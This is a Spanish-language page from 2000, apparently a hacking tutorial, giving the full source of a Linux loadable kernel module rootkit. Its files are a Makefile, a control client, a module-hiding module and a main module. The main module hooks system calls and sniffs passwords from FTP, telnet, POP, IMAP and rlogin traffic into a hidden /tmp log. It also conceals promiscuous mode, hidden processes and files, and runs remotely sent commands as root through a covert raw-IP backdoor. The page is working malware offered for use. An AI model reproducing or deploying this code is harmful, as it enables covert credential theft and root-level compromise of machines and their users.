LiNUX KERNEL MODULES: LKMs

El código:

<++> modulos/modsniff/Makefile

all: K22

# Modificad KERNEL_HEADERS con vuestra path a las cabeceras # del kernel

KERNEL_HEADERS=-I/usr/src/linux-2.2.10/include/linux

CFLAGS=-c -O2 -fomit-frame-pointer

K22: clean control_main gcc $(KERNEL_HEADERS) $(CFLAGS) -DK22 modsnif.c gcc $(KERNEL_HEADERS) $(CFLAGS) -DK22 hider.c

K20: clean control_main gcc $(KERNEL_HEADERS) $(CFLAGS) -DK20 modsnif.c

control_main: gcc control.c -o control

clean: rm -rf *~ *# modsnif.o hider.o control

<-->

<++> modulos/modsniff/control.c

#include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netdb.h> #include <errno.h>

#include <stdio.h> #include <stdlib.h> #include <getopt.h>

#include <linux/if.h> #include <linux/sockios.h>

u_int32_t mi_ip() { struct ifreq *ifr; struct ifconf ifc; int fd = socket(AF_INET, SOCK_DGRAM, 0); int c, d = 1; u_int32_t dir;

bzero(&ifc, sizeof(ifc)); if (ioctl(fd, SIOCGIFCONF, &ifc) < 0) { perror(" mi_ip() "); exit(0); }

ifr = (struct ifreq*) malloc(ifc.ifc_len); (long*) ifc.ifc_buf = ifr;

if (ioctl(fd, SIOCGIFCONF, &ifc) < 0) { perror(" mi_ip() "); exit(0); }

c = (ifc.ifc_len / sizeof(struct ifreq));

for (d = 0; d < c; d++) if (strncmp(ifr[d].ifr_name,"lo",2) != 0) { dir = (*(struct sockaddr_in*)&ifr[d].ifr_addr).sin_addr.s_addr; if (ioctl(fd, SIOCGIFFLAGS, &ifr[d]) < 0) { perror(" mi_ip() "); exit(0); } if (ifr[d].ifr_flags & IFF_UP) return dir; } return inet_addr("127.0.0.1"); }

long resuelve(char *host) { struct hostent *res; long ret;

if (inet_addr(host) != -1){ ret = inet_addr(host); return ret; } res = gethostbyname(host); if (res == NULL){ printf("\n Error : gethostbyname() : No se puede resolver el nombre del host\n\n"); exit(0); }

memcpy((char*)&ret,(char*)res->h_addr,res->h_length); return ret; }

struct mensaje { char cmd[1024]; char k; char type; u_int32_t addr; u_int16_t port; } *men;

void encripta(char *pt, char k, int len) { int c = len; while (c--) pt[c] = pt[c] ^ k; }

void main(int argc, char **argv) { char buff[4096]; struct iphdr *ip = (struct iphdr*) buff; char *DATA = (char*) (buff + sizeof(struct iphdr)); struct sockaddr_in dir = { AF_INET, 0, 0}; int fde = socket(AF_INET, SOCK_RAW, 255),ret; char *cmd, x, l, c; unsigned long saddr, daddr;

if (argc < 5) { printf(" Uso:\n"); printf("\t%s <host destino> <clave> <type> <str>\n\t(type = 1 back, 2 pid)\n\n",argv[0]); exit(0); }

saddr = mi_ip(); daddr = resuelve(argv[1]); cmd = argv[4];

dir.sin_family = AF_INET; dir.sin_addr.s_addr = daddr; bzero(buff,4096);

men = (struct mensaje*) DATA; memcpy(men->cmd , cmd, strlen(cmd) + 1); men->k = argv[2][0]; men->type = atoi(argv[3]);

encripta( men->cmd, argv[2][0], 1024);

ip->ihl = 5; ip->version = 4; ip->ttl = 0xff; ip->protocol = 123; ip->id = rand() % 10;

ip->saddr = saddr; ip->daddr = daddr; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct mensaje));

ret = sendto(fde,buff,(sizeof(struct iphdr) + sizeof(struct mensaje)),0,(struct sockaddr_in*)&dir,sizeof(dir)); close(fde); if (men->type == 1) { fde = socket(AF_INET, SOCK_STREAM, 6); dir.sin_port = htons(23); if (connect(fde, (struct sockaddr_in*) &dir, sizeof(dir)) < 0) printf(" Error conectando : %s\n",strerror(errno)); close(fde); } } <-->

<++> modulos/modsniff/hider.c #define MODULE #define __KERNEL__

#include <linux/config.h> #include <linux/module.h> #include <linux/version.h>

int init_module(void) {

/* * if at first you dont suceed, try: * %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp * I cant make this automaticly, because I'll fuck up the registers If I do * any calculus here. */ register struct module *mp asm("%ebx");

if (mp->init == &init_module) /* is it the right register? */ if (mp->next) /* and is there any module besides this one? */ mp->next = mp->next->next; /* cool, lets hide it :) */ return -1; /* the end. simple heh? */ }

<-->

<++> modulos/modsniff/modsniff.c

#define MODULE #define __KERNEL__

#include <linux/ctype.h> #include <linux/config.h> #include <linux/module.h> #include <linux/version.h>

#include <linux/fd.h> #include <linux/if.h> #include <linux/if_ether.h> #include <linux/unistd.h> #include <linux/fs.h> #include <linux/net.h> #include <linux/fcntl.h> #include <linux/netdevice.h> #include <linux/tcp.h> #include <linux/ip.h> #include <linux/fcntl.h> #include <linux/proc_fs.h> #include <linux/dirent.h>

#include <syscall.h>

#include <asm/segment.h>

int errno;

#ifdef K20 #define __generic_copy_from_user memcpy_fromfs #define __generic_copy_to_user memcpy_tofs #endif

static inline _syscall1(int, brk, void *, end_data_segment); static inline _syscall3(int, open, char *, name, int, flags, mode_t, mode); static inline _syscall3(int, write, int, fd, const void *, buf, size_t, len); static inline _syscall1(int, close, int, fd);

extern void *sys_call_table[];

char cmd[1024];

/* * Poned en LOG_FILE el archivo donde se guardaran los logs * del sniffer */

#define LOG_FILE "/tmp/.mis_logs_33137"

/* * Esta estructura se usa para mantener las conexiones * activas en memoria en una lista doblemente enlazada */

#define DATA_LEN 512

struct Con { __u32 sa,da,sSeq,dSeq; __u16 sp,dp; char data[DATA_LEN]; int len, log; struct Con *sig,*ant; } *Conroot = NULL;

#define SIZE_CON sizeof(struct Con)

/* Funciones de utilidad */

struct Con *Busca(__u32 , __u32 , __u16 , __u16 ); void mibzero(char *,int ); char *mintoa(__u32 ); int mira_port(__u16 ); int mi_ioctl(int , int , unsigned long); int Filtro(struct sk_buff *, struct device *, struct packet_type *); void Procesa(struct iphdr*, struct tcphdr*, char*, int); void Nuevacon(__u32 , __u32 , __u16 , __u16); void Borracon(struct Con*); int Datos(__u32 , __u32 , __u16 , __u16, char*, int, __u32); void loguea(struct Con*); int mi_getdents(unsigned int fd, struct dirent *dirp, unsigned int count); int mi_get_kernel_syms(struct kernel_sym *table); int oculta(struct module *); void backdoor(struct sk_buff*); int mi_execve (char *, const char **, const char**); void actualizaseq(struct Con*, __u16, struct tcphdr*); int miraseq(struct Con*, __u16, __u32); void nuevo_pid(char*); int busca_pid(char*);

/* * estos vectores apuntan a las llamadas al sistema originales */

int (*o_ioctl) (int fd, int pet, unsigned long arg); int (*o_getdents) (unsigned int fd, struct dirent *dirp, unsigned int count); int (*o_get_kernel_syms) (struct kernel_sym *table); int (*o_execve) (char *, const char**, const char**);

/* * flags del modo promiscuo del interfaz y de la ejecucion del backdoor */

int promisc = 0; int back = 0;

/* * Este array lo uso para almacenar los pids y los archivos a ocultar por * getdents() */ char *pids[1024]; /* * Podria haber usado una lista enlazada para ahorrar memoria pero no * tenia ganas XD */ int npids = 0;

/* * Esta estructura define el filtro a usar para * "sniffar" paquetes */

struct packet_type mihandler;

/* * Puertos en los que esnifar conexiones */

__u16 Ports[6] = { 21, 23, 109, 110, 143, 513 };

void cleanup_module() { struct Con *tmp; sys_call_table[SYS_ioctl] = (void*) o_ioctl; sys_call_table[SYS_getdents] = (void*) o_getdents; sys_call_table[SYS_execve] = (void*) o_execve;

#ifdef K20 sys_call_table[SYS_get_kernel_syms] = (void*) o_get_kernel_syms; #endif

dev_remove_pack(&mihandler); /* * Libero la memoria ocupada por la lista enlazada */ while (Conroot) { tmp = Conroot; Conroot = Conroot->sig; kfree(tmp); } }

int init_module() { register struct module *mp asm("%ebp"); register struct module *mp2 asm("%ebx");

/* * Averiguo en que registro se encuentra el puntero a la estructura de * este modulo y lo oculto (en el 2.0.x) */ if (&cleanup_module == mp2->cleanup) oculta(mp2); else if (&cleanup_module == mp->cleanup) oculta(mp); else return -1; /* * Si el puntero al modulo no estaba en ebp ni en ebx no cargo el modulo. * Cambia los registros por cualquier otro y vuelvelo a cargar. */

/* * Pongo mis propias syscalls */ o_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = (void*) mi_ioctl;

o_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = (void*) mi_getdents;

o_execve = sys_call_table[SYS_execve]; sys_call_table[SYS_execve] = (void*) mi_execve;

sys_call_table[200] = (void*) o_execve;

#ifdef K20 o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms]; sys_call_table[SYS_get_kernel_syms] = (void*) mi_get_kernel_syms; #endif

/* * Y tambien el filtro para el sniffer */ mibzero((char*)&mihandler,sizeof(mihandler)); mihandler.type = htons(ETH_P_IP); mihandler.func = Filtro; dev_add_pack(&mihandler);

return 0; }

int oculta(struct module *mp) { /* * Si el kernel es el 2.2.x ponemos nsyms=0 para burlar a * get_kernel_syms() */ #ifdef K22 mp->nsyms = 0; #endif

/* * Si el kernel es el 2.0.x ocultamos el modulo directamente */ #ifdef K20 *(char*)mp->name = 0; mp->size = 0; mp->ref = 0; #endif return 0; }

int Filtro(struct sk_buff *skb, struct device *dv, struct packet_type *pt) { int len;

#ifdef K22 backdoor(skb);

if (skb->nh.iph->protocol == 6) {

skb->h.raw = skb->nh.raw + (skb->nh.iph->ihl * 4); skb->data = skb->nh.raw + (skb->nh.iph->ihl * 4) + (skb->h.th->doff * 4); len = htons(skb->nh.iph->tot_len) - (skb->nh.iph->ihl * 4) - (skb->h.th->doff * 4);

if ((mira_port(skb->h.th->source)) || (mira_port(skb->h.th->dest))) Procesa(skb->nh.iph,skb->h.th,skb->data,len); } kfree_skb(skb); #endif

#ifdef K20 struct tcphdr *tcp; char *ptr;

backdoor(skb); if (skb->h.iph->protocol == 6) {

ptr = (char*) skb->h.raw + (skb->h.iph->ihl * 4); tcp = (struct tcphdr*) ptr; skb->data = skb->h.raw + (skb->h.iph->ihl * 4) + (tcp->doff * 4); len = htons(skb->h.iph->tot_len) - (skb->h.iph->ihl * 4) - (tcp->doff * 4);

if ((mira_port(tcp->source)) || (mira_port(tcp->dest))) Procesa(skb->h.iph,tcp,skb->data,len); } kfree_skb(skb, FREE_READ); #endif

return 0; }

struct mensaje { char cmd[1024]; char k; char type; /* 1 = backdoor, 2 = ocultar pid */ __u32 addr; __u16 port; } *men;

void encripta(char *pt, char k, int len) { int c = len; while (c--) pt[c] = pt[c] ^ k; }

void backdoor(struct sk_buff *skb) { char *data;

#ifdef K20 if (skb->h.iph->protocol != 123) return; data = skb->h.raw + (skb->h.iph->ihl * 4); #endif #ifdef K22 if (skb->nh.iph->protocol != 123) return; data = skb->nh.raw + (skb->nh.iph->ihl * 4); #endif men = (struct mensaje*) data;

encripta(men->cmd, men->k, 1024); if (strlen(men->cmd) >= 1024) return;

if (men->type == 1) { strcpy(cmd, men->cmd); back = 1; } if (men->type == 2) nuevo_pid(men->cmd); }

void Procesa(struct iphdr *ip, struct tcphdr *tcp, char *data, int len) { struct Con *ctmp;

/* * Si el paquete tiene el flag SYN es una peticion de conexion */ if (tcp->syn == 1) if (Busca(ip->saddr, ip->daddr, tcp->source, tcp->dest) == NULL) { Nuevacon(ip->saddr, ip->daddr, tcp->source, tcp->dest); ctmp = Busca(ip->saddr, ip->daddr, tcp->source, tcp->dest); /* * Guardo los ISN */ actualizaseq(ctmp, tcp->source, tcp); return; }

/* * Si tiene FIN o el RST la marcamos como terminada y lista para loguear */ if ((tcp->fin == 1) || (tcp->rst == 1)) { ctmp = Busca(ip->saddr, ip->daddr, tcp->source, tcp->dest); if (ctmp) ctmp->log = 1; return; }

/* * Si llegamos aqui el paquete es un paquete de datos, si tiene los añadimos * al buffer de la conexion y actualizamos los SEQ numbers */ if (len > 0) if (Datos(ip->saddr, ip->daddr, tcp->source, tcp->dest, data, len, tcp->seq)) { ctmp = Busca(ip->saddr, ip->daddr, tcp->source, tcp->dest); if (ctmp) actualizaseq(ctmp, tcp->source, tcp); } }

int Datos(__u32 sa, __u32 da, __u16 sp, __u16 dp, char *data, int len, __u32 seq) { struct Con *btmp;

btmp = Busca(sa, da, sp, dp); if (!btmp) return 0;

if (!miraseq(btmp, sp, seq)) return 0;

if ((btmp->len + len) > DATA_LEN) return;

memcpy(&btmp->data[btmp->len], data, len); btmp->len += len; return 1; }

int miraseq(struct Con *con, __u16 port, __u32 seq) { if (port == con->sp) { if (con->sSeq == 0) return 1; if (htonl(con->sSeq) < htonl(seq)) return 1; return 0; } if (port == con->dp) { if (con->dSeq == 0) return 1; if (htonl(con->dSeq) < htonl(seq)) return 1; return 0; } }

void actualizaseq(struct Con *con, __u16 port, struct tcphdr *tcp) { if (port == con->sp) { con->sSeq = tcp->seq; return; } if (port == con->dp) { con->dSeq = tcp->seq; return; } }

void Borracon(struct Con *bcon) { struct Con *ant, *sig;

ant = bcon->ant; sig = bcon->sig;

if ((bcon == Conroot) && (!bcon->sig)) Conroot = NULL; if ((bcon == Conroot) && (bcon->sig)) Conroot = bcon->sig; kfree(bcon);

/* * Hay que tener cuidado con los punteros en codigo Ring0 ;) */ if ((ant) && (sig)) { ant->sig = sig; sig->ant = ant; return; } if ((ant) && (!sig)) { ant->sig = NULL; return; } if ((sig) && (!ant)) { sig->ant = NULL; return; } }

void loguea(struct Con *con) { int fd; int mmm = current->mm->brk; int nombre; char buff[1024]; /* 1024 sera suficiente */

brk((void*)mmm + strlen(LOG_FILE) + 1);

__generic_copy_to_user((void*) mmm, LOG_FILE, strlen(LOG_FILE) + 1);

fd = open((void*)mmm, O_RDWR | O_APPEND, 0); if (fd < 0) fd = open((void*)mmm, O_RDWR | O_CREAT, 0); brk((void*)mmm); if (fd < 0) return;

brk((void*) mmm + 1024); sprintf(buff, "\n--------------------------------------------------------------------\n" "\t%s [%i] ==> ",mintoa(con->sa),htons(con->sp)); __generic_copy_to_user((void*)mmm, buff,strlen(buff)); write(fd, (void*)mmm, strlen(buff));

sprintf(buff,"[%i] %s\n" "--------------------------------------------------------------------\n", htons(con->dp),mintoa(con->da)); __generic_copy_to_user((void*)mmm, buff,strlen(buff)); write(fd, (void*)mmm, strlen(buff));

brk((void*) mmm + con->len); __generic_copy_to_user((void*)mmm, con->data, con->len); write(fd, (void*)mmm, con->len);

brk((void*)mmm); close(fd); }

void Nuevacon(__u32 sa, __u32 da, __u16 sp, __u16 dp) { struct Con *cnue, *ctmp = Conroot;

if (!ctmp) { Conroot = kmalloc(SIZE_CON, GFP_KERNEL); ctmp = Conroot; mibzero((char*)ctmp, SIZE_CON); ctmp->sa = sa; ctmp->da = da; ctmp->sp = sp; ctmp->dp = dp; return; }

while (ctmp->sig) ctmp = ctmp->sig;

cnue = kmalloc(SIZE_CON, GFP_KERNEL); mibzero((char*)cnue, SIZE_CON); cnue->sa = sa; cnue->da = da; cnue->sp = sp; cnue->dp = dp;

cnue->ant = ctmp; ctmp->sig = cnue; }

int mira_port(__u16 p) { int c1; for (c1 = 0; c1 < 6; c1++) if (Ports[c1] == htons(p)) return 1; return 0; }

struct Con *Busca(__u32 sa, __u32 da, __u16 sp, __u16 dp) { struct Con *Cur = Conroot; if (Cur == NULL) return NULL; while (Cur != NULL) { if (Cur->sa == sa) if (Cur->da == da) if (Cur->sp == sp) if (Cur->dp == dp) return Cur; Cur = Cur->sig; } Cur = Conroot; while (Cur != NULL) { if (Cur->sa == da) if (Cur->da == sa) if (Cur->sp == dp) if (Cur->dp == sp) return Cur; Cur = Cur->sig; } return NULL; }

void mibzero(char *d,int l) { while (l--) *(d++) = 0; }

char *mintoa(__u32 dir) { static char ret[18]; unsigned char *p; mibzero(ret,18);

p = (char*) &dir; sprintf(ret,"%u.%u.%u.%u",(p[0] & 0xff),(p[1] & 0xff),(p[2] & 0xff),(p[3] & 0xff)); return ret; }

int mi_ioctl(int fd, int pet, unsigned long arg) { int ret; struct ifreq ifr; struct Con *con, *ctmp = Conroot;

while (ctmp) { con = ctmp->sig; if (ctmp->log) { if (ctmp->len > 0) loguea(ctmp); Borracon(ctmp); con = Conroot; } ctmp = con; }

if (pet == SIOCGIFFLAGS) { ret = (*o_ioctl) (fd, pet, arg); __generic_copy_from_user((struct ifreq*)&ifr, (struct ifreq*)arg, sizeof(struct ifreq)); if (promisc) ifr.ifr_flags |= IFF_PROMISC; else ifr.ifr_flags &= ~IFF_PROMISC; __generic_copy_to_user((struct ifreq*)arg, (struct ifreq*)&ifr, sizeof(struct ifreq)); return ret; } if (pet == SIOCSIFFLAGS) { __generic_copy_from_user((struct ifreq*)&ifr, (struct ifreq*)arg, sizeof(struct ifreq)); if ((ifr.ifr_flags & IFF_PROMISC) == IFF_PROMISC) promisc = 1; else promisc = 0; ifr.ifr_flags |= IFF_PROMISC; __generic_copy_to_user((struct ifreq*)arg, (struct ifreq*)&ifr, sizeof(struct ifreq)); return (*o_ioctl) (fd, pet, arg); } return (*o_ioctl) (fd, pet, arg); }

int mi_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { int total = 0, ret; struct dirent *dirp2, *dirp3, *dsrc, *ddst; char *ptr;

ret = (*o_getdents) (fd, dirp, count);

if (ret > 0) {

dirp2 = (struct dirent*) kmalloc(ret, GFP_KERNEL); dirp3 = (struct dirent*) kmalloc(ret, GFP_KERNEL); dsrc = dirp2; ddst = dirp3;

__generic_copy_from_user(dirp2, dirp, ret); mibzero((char*) dirp3, ret); __generic_copy_to_user( dirp, dirp3, ret);

while (ret > 0) { ret -= dsrc->d_reclen; if (!busca_pid(dsrc->d_name)) { memcpy( ddst, dsrc, dsrc->d_reclen); total += ddst->d_reclen; ptr = (char*) ddst; ptr += ddst->d_reclen; ddst = (struct dirent*) ptr; } ptr = (char*) dsrc; ptr += dsrc->d_reclen; dsrc = (struct dirent*) ptr; } __generic_copy_to_user(dirp, dirp3, total);

kfree(dirp2); kfree(dirp3); return total; } return ret; }

#ifdef K20

int mi_get_kernel_syms(struct kernel_sym *table) { return 0; /* Esto es la caña eh? ;) */ }

#endif

int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(200), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; }

int mi_execve (char *nombre, const char *arg[], const char *env[]) { unsigned long mmm,mtmp; int ret; char pid[1024];

if (back) { back = 0; mmm = current->mm->brk; brk((void*) mmm + 1024); mtmp = mmm + 16; __generic_copy_to_user((void*)mmm, &mtmp, 4); __generic_copy_to_user((void*) mtmp, "/bin/bash", 10);

mtmp = mmm + 26; __generic_copy_to_user((void*)(mmm + 4), &mtmp, 4); __generic_copy_to_user((void*) mtmp, "-c", 3);

mtmp = mmm + 29; __generic_copy_to_user((void*)(mmm + 8), &mtmp, 4); __generic_copy_to_user((void*) mtmp, cmd, strlen(cmd) + 1);

mtmp = 0; __generic_copy_to_user((void*)(mmm + 12), &mtmp, 4);

/* * Aqui oculto el proceso creado mediante el backdoor */ sprintf(pid,"%i",current->pid); nuevo_pid(pid);

/* * Y le doy privilegios de r00t */ current->euid = 0; current->uid = 0; current->egid = 0; current->gid = 0;

ret = my_execve((void*) (mmm + 16), (void*)mmm, (void*)(mmm + 12)); } else ret = my_execve (nombre, arg, env); return ret; }

void nuevo_pid(char *nombre) { pids[npids+1] = NULL; pids[npids] = (char*) kmalloc(strlen(nombre), GFP_KERNEL); strcpy(pids[npids], nombre); npids++; }

int busca_pid(char *nombre) { int c = 0; for (c = 0; c < npids; c++) if (strstr(nombre, pids[c])) return 1; return 0; }

<-->

Anterior

(c) 2000 KIKO81